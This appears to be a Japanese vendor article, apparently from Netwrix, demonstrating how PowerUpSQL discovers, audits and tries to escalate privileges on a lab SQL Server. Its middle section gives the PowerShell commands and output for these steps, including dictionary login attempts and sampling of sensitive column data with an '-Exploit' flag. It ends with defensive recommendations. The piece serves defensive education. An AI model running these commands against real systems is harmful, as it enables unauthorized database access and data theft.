Netwrix 1Secureは、データとアイデンティティ全体にわたる統合された可視性を提供します。14日間の無料トライアルでフルアクセス可能です。無料トライアルを開始

サイバーセキュリティ用語集攻撃カタログ

PowerUpSQL で SQL Server を侵害する

PowerUpSQL で SQL Server を侵害する

Microsoft SQL Server を最初から最後まで完全に掌握するためのツールキットを探しているなら、必要なのは PowerUpSQL です。PowerShell で実装されており、これ以上ないほど完成度が高く、 PowerUpSQL には、ほぼあらゆる SQL システムを発見し、侵害し、掌握するためのツールがあります。1 つのツールにキルチェーン全体が詰まっています。この記事では、PowerUpSQL を使って重要な攻撃手順を実行する方法を詳しく解説します。

厳選された関連コンテンツ:

なお、私たちが使用したシステム(かなり素のままの MS SQL 2012)では、結果がかなりばらつきました。システム管理者権限の有無で結果がどこで異なったのかは、必ず強調します。システムレベルの管理者権限を取得する方法のヒントが必要な場合は、重要な AD インフラを攻撃するための技術 と、AD サービスアカウント攻撃誤って設定された権限を悪用する攻撃、そして Mimikatz 攻撃 に関する一連の記事をご覧ください。

検出

      ドメイン内のすべての SQL サーバーを見つけるには、Get-SQLInstanceDomain cmdlet を使用できます:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose

VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...

VERBOSE: Parsing SQL Server instances from SPNs...

VERBOSE: 2 instances were found.

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com,1433

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com:1433

LastLogon : 1/9/2018 7:10 AM

Description :

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com

LastLogon : 1/9/2018 7:10 AM
      

説明:

さらに Get-SQLInstanceLocal もあります。これは同種のディスカバリーを行いますが、対象はローカルのインスタンスだけです。ドメイン版のほうがノイズは多めですが、ネットワーク上で攻撃できる場所が1か所だけであれば、必要なことを実行できます。ネットワーク全体をもっと広く把握していて、より目立たないように信号を抑えたい場合は、各システムでローカル版を実行するのがコツです。このケースでは、通常ユーザーでも Domain Admin でも、同様の結果を得られました。

ターゲットの選定

ターゲットにしたい MS SQL システムがいくつかある場合、または数が多くて「どれが最良のターゲットか」を整理したい場合は、それぞれについてもう少し詳しく知りたいと思うかもしれません。 Get?SQLServerInfo は、潜在的なターゲットに関する役立つ情報のスナップショットを提供します。良い結果を得るには、管理者権限が必要だったようです。

      PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName : APP02

Instance : APP02

DomainName : SBCLOUDLAB

ServiceProcessID : 4980

ServiceName : MSSQLSERVER

ServiceAccount : NT ServiceMSSQLSERVER

AuthenticationMode : Windows 認証および SQL Server 認証

Clustered : いいえ

SQLServerVersionNumber : 11.0.2100.60

SQLServerMajorVersion : 2012

SQLServerEdition : Standard Edition (64-bit)

SQLServerServicePack : RTM

OSArchitecture : X64

OsMachineType : ServerNT

OSVersionName : Windows Server 2012 R2 Standard

OsVersionNumber : 6.2

Currentlogin : SBCLOUDLABjonathan

IsSysadmin : はい

ActiveSessions : 1
      

この例は、PowerUpSQL の優れた機能の 1 つである「パイプ(piping)」のサポートを示しています。ご覧のとおり、Get-SQLInstanceLocal の結果を Get-SQLServerInfo にパイプしているため、1 回のコマンドでそのマシン上のすべての SQL インスタンスに対する結果を取得できます。さらに一般的には、この機能を使うことで、複雑な処理を素早く実行する「クラック(cracking)」スクリプトを簡単に作成できます。

エクスプロイトと機密データの発見

Get-SQLServerInfo から得られる情報を使えば、脅威や脆弱性に関する標準的なライブラリに当たって、このシステムを悪用するために使える何かを取り出すこともできます。ですが、必要ありません。PowerUpSQL には、もう 1 つ強力な切り札があります。それが Invoke-SQLAudit です。この cmdlet は、文字どおりすべての「クラック(cracking)」作業をあなたの代わりに実行します。データベースに侵入して機密情報を見つけ、持ち帰ることができる形でそれを持ち出すための、ほぼすべての標準的な方法をチェックします。

それを呼び出すと、まずは次のような結果が大量に表示されます:

      PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: LOADING VULNERABILITY CHECKS.

VERBOSE: RUNNING VULNERABILITY CHECKS.

VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : No named instance found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com - Getting supplied login...

VERBOSE: APP02.sbcloudlab.com - Getting list of logins...

VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =

##MS_PolicyEventProcessingLogin##

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =

##MS_PolicyTsqlExecutionLogin##

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...

<snip>
      

しかしそれは Invoke-SQLAudit が始まっただけにすぎません。すべての権限レベルのチェックを実行した後、特定の既知の脆弱性を1つずつ確認し、各項目で見つかった内容を報告します:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : 所有権チェイニング(ownership chaining)がサーバーまたはデータベースのレベルで有効になっていることが確認されました。所有権チェイニングを有効にすると

データベースのリソースへの不正アクセスにつながる可能性があります。

Remediation : 影響を受けるデータベースを構成し、'is_db_chaining_on' フラグを 'false' に設定します。'ALTER DATABASE Database1 SET DB_CHAINING ON' に類似したクエリを使用してチェイニングを有効化します。'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' に類似したクエリを使用するとチェイニングを無効化できます。

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : 現時点では利用可能なエクスプロイトはありません。

Details : データベースの master が、所有権チェイニングが有効な状態で構成されていることが確認されました。

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : 所有権チェイニング(ownership chaining)がサーバーまたはデータベースのレベルで有効になっていることが確認されました。所有権チェイニングを有効にすると

データベースのリソースへの不正アクセスにつながる可能性があります。

Remediation : 影響を受けるデータベースを構成し、'is_db_chaining_on' フラグを 'false' に設定します。'ALTER DATABASE Database1 SET DB_CHAINING ON' に類似したクエリを使用してチェイニングを有効化します。'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' に類似したクエリを使用するとチェイニングを無効化できます。

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : 現時点では利用可能なエクスプロイトはありません。

Details : データベースの tempdb が、所有権チェイニングが有効な状態で構成されていることが確認されました。

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

この cmdlet の結果を読み進めると、対象がどれほど脆弱だったとしても、まるで SQL Server のエクスプロイトに関するマスタークラスを受けているようです。さらに、作者は新しい脆弱性やエクスプロイトが見つかった際に拡張できるよう、ツールキットをオープンにしています。そのため、この一覧は今後時間とともに増えていくことが期待されます。

さらに、それだけではありません。脆弱性の確認が終わると、次は「奪いたくなるかもしれないデータ」を見つけようとします:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : 機密情報を含む可能性のある、既定値以外のデータベース内に列が見つかりました。

Remediation : すべてのパスワードと senstive データが、マスキング、ハッシュ化、または暗号化されていることを確認してください。

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : [REDACTED] からのデータサンプル : "[REDACTED]"。

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : 機密情報を含む可能性のある、既定値以外のデータベース内に列が見つかりました。

Remediation : すべてのパスワードと senstive データが、マスキング、ハッシュ化、または暗号化されていることを確認してください。

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : [REDACTED] からのデータサンプル : "[REDACTED]"。

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

これらの結果(明らかな理由により少し伏せています)は、私たちのターゲットで見つかった数十件のうちのほんの2つにすぎません。作者は、この作業を行うにあたって自分たちのツールも実際に使って確かめています。結果に記載されているとおり、これらの結果は “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit” cmdlet を使用して見つけられました。

権限の昇格

PowerUpSQL をいじっていたときに残念だった点の 1 つは、とても強力な Invoke-SQLEscalatePriv が私たちの環境では一度も動かなかったことです。私たちは異なるユーザー、ホスト、実行タイプ(ローカルとリモート)、および種類の異なる権限を試しましたが、ユーザーの権限を昇格させることはありませんでした。理由は、MS SQL 2012 Enterprise Edition の既定値にあるようです。非管理者ユーザーとして実行したときに私たちが確認できたのは以下のとおりです:

      PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s

bcloudlab.com"

PS C:PowerUpSQL-master>

管理者として実行すると、次のように正しいものの面白みのない結果が得られます:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: APP02.sbcloudlab.com : すでに sysadmin かどうかを確認しています...

VERBOSE: APP02.sbcloudlab.com : あなたは sysadmin なので、ここでやることはありません。 :)

PS C:PowerUpSQL-master>
      

オンラインで読む限り、この cmdlet は多くの人には動作するようです。

その他の機能

このツールを使って、まず「何を狙うべきか」の感触をつかみ、その後に一点に絞り込む手順は、容易に想像できます。私たちはスクリプトを作成し、パイピングをふんだんに活用して、最大限の権限が得られる場所を見つけたうえで、それらの各ロケーションにある機密データへと踏み込むでしょう。

私たちはいつも exfiltration(データの持ち出し)の観点で考えがちですが、もしかすると目標はシステムの所有権(system ownership)かもしれません。PowerUpSQL でもそれに到達するための道筋が提示されています。ただし、その方法については次の記事で見ていきます。実際、PowerUpSQL には盛りだくさんで、もっとずっと先まで続けられそうです。とはいえ、著者がすでに 自分たちのツールをうまく網羅できている ので、ここで止めることにします。

PowerUpSQL への対策

それでは、PowerUpSQL に対して防御するために何ができるのかを見ていきましょう。「楽しさ」にとっては悪いニュースでしたが、「データ」にとっては良いニュースでした。PowerUpSQL の多くの処理は、管理者権限(admin rights)が必要に見えるものの、実際には SQL 2012 Enterprise Edition のデフォルトのセキュリティ態勢(default security posture)で処理されます。とはいえ、最近のほとんどの環境では管理者権限があまりにも簡単に破られてしまうため、成功のための障壁としては小さなものに見えます。

それでも、組織を守るのに役立つ実績のある手順がいくつかあります:

  • SQL Server に対して最小権限(least privilege)モデルを徹底してください。 ローカル管理者およびドメイン管理者は、本当に SQL データベース管理者や sys 管理者も兼ねる必要があるのでしょうか。なぜ必要で、いつ必要になるのかを明確にし、文書化したポリシーを作成してください。これらの管理機能を分離して維持することで、片方が侵害されたことがきっかけで、もう片方も侵害される事態を防げます。
  • SQL システム設定への変更がもたらすセキュリティ上の影響を調査してください。アプリケーション ベンダーは、セキュリティ設定の変更を要求することがありますが、多くの場合は手順を数ステップ省くためです。そして、その数ステップが「安全」と「侵害」の分かれ目になります。確かめる方法の1つは、PowerUpSQL audit テスト システムにそのような変更を行う前後で実行し、結果を比較することです。
  • すべてのパスワードと機密データが、マスク、ハッシュ、または暗号化されていることを確認してください。攻撃者がデータを狙っている場合、これがそれを手に入れさせないための最善の方法です。システムは常に突破され得ますが、まともな暗号化は、最も手強い相手を除けば強固な“壁”になります。そのようなレベルの敵があなたのデータを狙っているなら、より上位の懸念事項があります。
  • 可能な限り、データベース所有権のチェーン(database ownership chaining)などのリスクの高い設定は避けてください。 設定変更と同様に、このようなデータベース レベルの機能は、開発者の時間を少しでも節約するために使われることが多いです。これらの設定を検討する際には、少なくともリスクへの配慮が行われていることを確認してください。多くの場合、最も難しいのは、そのような会話がどこで、いつ行われているのかを突き止めて、それに影響を与えることです。
  • システムが可能な限り最新の状態を保てるよう、スケジュールに従ってパッチを適用してください。これまでで最も聞き飽きたセキュリティの助言かもしれませんが、それでも本当です。ここでテストされた多くの脆弱性は、適切なパッチ適用によって対処できたはずです。パッチはすべてのセキュリティ問題を解決するわけではありませんが、うまくいかなくなったときに、それが(もしくは間違いなく)適用漏れのパッチが原因だったかもしれないと分かってしまう、あの大きな不安を防いでくれます。

Netwrix がどのように支援できるか

データベースには、非常に機密性の高い情報が含まれることが多いため、攻撃者にとって格好の標的になります。強固なセキュリティのために、データベース管理者は、オンプレミスのデータセンターとクラウドの両方にわたって、全体の SQL フットプリントを把握する必要があります。 Netwrix StealthAUDIT SQL データベースが存在する場所、誰がアクセス権を持っているか、そのアクセス権をどのようにして入手したか、誰または何がそのアクセス権限を活用しているか、機密情報がどこに格納されているか、そして各データベースがどのように構成されているかを自動的に明らかにします。

共有する

Entra ID アプリケーション権限の悪用—仕組みと防御戦略

AdminSDHolder の改変――仕組みと防御戦略

AS-REP Roasting 攻撃—仕組みと防御戦略

Hafnium 攻撃—仕組みと防御戦略

DCSync 攻撃の解説:Active Directory セキュリティへの脅威

パス・ザ・ハッシュ(PtH)攻撃を理解する

Golden Ticket 攻撃とは?仕組み、検知、予防

gMSA の悪用攻撃と Golden gMSA 攻撃の解説

DCShadow 攻撃—仕組み、実例、そして防御戦略

ChatGPT プロンプトインジェクション:リスクの理解、例、予防

NTDS.dit 抽出攻撃の解説

Kerberoasting 攻撃—仕組みと防御戦略

Pass-the-Ticket 攻撃の解説:リスク、例、そして防御戦略

パスワードスプレー攻撃を理解する

平文パスワードの抽出(Plaintext Password Extraction)解説:リスク、例、予防

Zerologon 脆弱性を解説:リスク、悪用、緩和策

ランサムウェア攻撃の完全ガイド

Skeleton Key 攻撃:仕組みと検知方法

ラテラルムーブメント(Lateral Movement):それは何か、仕組み、予防策

中間者(MITM)攻撃:それが何で、どうやって防ぐのか

Silver Ticket 攻撃

サービスアカウント攻撃と、その防御方法(4選)

なぜ攻撃者は PowerShell をこれほどまでに好むのでしょうか?

ビジネスへのマルウェア攻撃の影響を防ぐ方法

クレデンシャルスタッフィング(Credential Stuffing)とは?

Mousejacking(マウス・ジャッキング)攻撃とは?そして防御方法

Security Support Provider(SSP)を使った認証情報の窃取

Pass-the-Cookie 攻撃で MFA を回避する

Golden SAML 攻撃の究極ガイド